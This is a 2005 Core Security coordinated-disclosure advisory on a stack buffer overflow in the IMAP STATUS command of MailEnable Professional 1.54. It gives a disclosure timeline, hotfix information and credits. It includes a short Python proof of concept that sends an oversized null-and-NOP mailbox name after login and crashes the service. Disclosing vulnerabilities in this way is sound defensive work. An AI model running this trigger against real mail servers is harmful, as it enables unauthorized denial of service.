CORE-2005-0629: MailEnable Buffer Overflow Vulnerability

From: Core Security Technologies Advisories (advisories_at_coresecurity.com)
Date: 07/13/05

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                  Core Security Technologies - Corelabs Advisory
                      http://www.coresecurity.com/corelabs/

                     MailEnable Buffer Overflow Vulnerability

    Date Published: 2005-07-12

    Last Update: 2005-07-12

    Advisory ID: CORE-2005-0629

    Bugtraq ID: None currently assigned

    CVE Name: None currently assigned

    Title: MailEnable Buffer Overflow Vulnerability

    Class: Boundary Error Condition (Stack Buffer Overflow)

    Remotely Exploitable: Yes

    Locally Exploitable: Yes

    Advisory URL:
     http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10

    Vendors contacted:
    - MailEnable
      2005-06-30: Notification to vendor.
      2005-06-30: Vendor acknowledged notification and provided a fix.

    Release Mode: COORDINATED RELEASE

    *Vulnerability Description:*

     MailEnable is a mail server software which provides a messaging
     platform for Microsoft Windows. For more information about
     MailEnable see http://www.mailenable.com/

     A buffer overflow vulnerability was found in the status command.
     Remote exploitation of this vulnerability could allow an attacker
     to execute arbitrary code with System privileges. The status command
     requires an authenticated session, so valid credentials are required.
     

    *Vulnerable Packages:*

     MailEnable Professional edition version 1.54

     Tested on:
     . Windows 2000 sp0
     . Windows 2000 sp2
     . Windows XP sp0

    *Solution/Vendor Information/Workaround:*

     This issue was addressed by the last hotfix for MailEnable (dated
     30th May 2005). The hotfix can be downloaded from:
     http://www.mailenable.com/hotfix/

    *Credits:*

     This vulnerability was found by Ariel Sanchez from Core Security
     Technologies.

     We wish to thank Peter Fregon from MailEnable for his quick response
     to this issue.

    *Technical Description - Exploit/Concept Code:*

     This vulnerability was found in the Imapd daemon service of MailEnable
     Professional edition version 1.54.
     
     The vulnerability can be triggered by giving a long mailbox name
     argument to the status command. This will cause a stack based buffer
     overflow, containing null bytes (\x00).

     The following is a Python proof-of-concept code that will trigger the
     vulnerability:

    ----------------------------------------------------------------------
    #
    # POC about imapd mailenable bug in status command
    #

    import sys
    import imaplib

    class poc:

        def __init__(self,host,loginimap,passimap):
            self.host=host
            self.loginimap=loginimap
            self.passimap=passimap

        def exploit(self):
            print "Please wait"
            
            connect = imaplib.IMAP4(self.host)
            connect.login(self.loginimap,self.passimap)
            nops='\x00'
            nops+='\x90'*10540
            try:
                typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY
    MESSAGES UNSEEN RECENT)')
            except Exception,e:
                print "Service down!"
            return 0

    if(len(sys.argv) < 4):
        print "Need 3 arguments, ./poc.py host user pass"
        sys.exit(1)

    exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
    exp.exploit()
    ----------------------------------------------------------------------

    *About Corelabs*

     CoreLabs, the research center of Core Security Technologies, is charged
     with anticipating the future needs and requirements for information
     security technologies.
     We conduct our research in several important areas of computer security
     including system vulnerabilities, cyber attack planning and simulation,
     source code auditing, and cryptography. Our results include problem
     formalization, identification of vulnerabilities, novel solutions and
     prototypes for new technologies. CoreLabs regularly publishes security
     advisories, technical papers, project information and shared software
     tools for public use at:
     http://www.coresecurity.com/corelabs/

    *About Core Security Technologies*

     Core Security Technologies develops strategic security solutions for
     Fortune 1000 corporations, government agencies and military
     organizations. The company offers information security software and
     services designed to assess risk and protect and manage information
     assets. Headquartered in Boston, MA, Core Security Technologies can
     be reached at 617-399-6980 or on the Web at:
     http://www.coresecurity.com.

     To learn more about CORE IMPACT, the first comprehensive penetration
     testing product, visit:
     http://www.coresecurity.com/products/coreimpact

    *DISCLAIMER:*

     The contents of this advisory are copyright (c) 2005 CORE Security
     Technologies and (c) 2005 Corelabs, and may be distributed freely
     provided that no fee is charged for this distribution and proper
     credit is given.

    $Id: MailEnable-advisory.txt,v 1.9 2005/07/12 22:04:23 carlos Exp $

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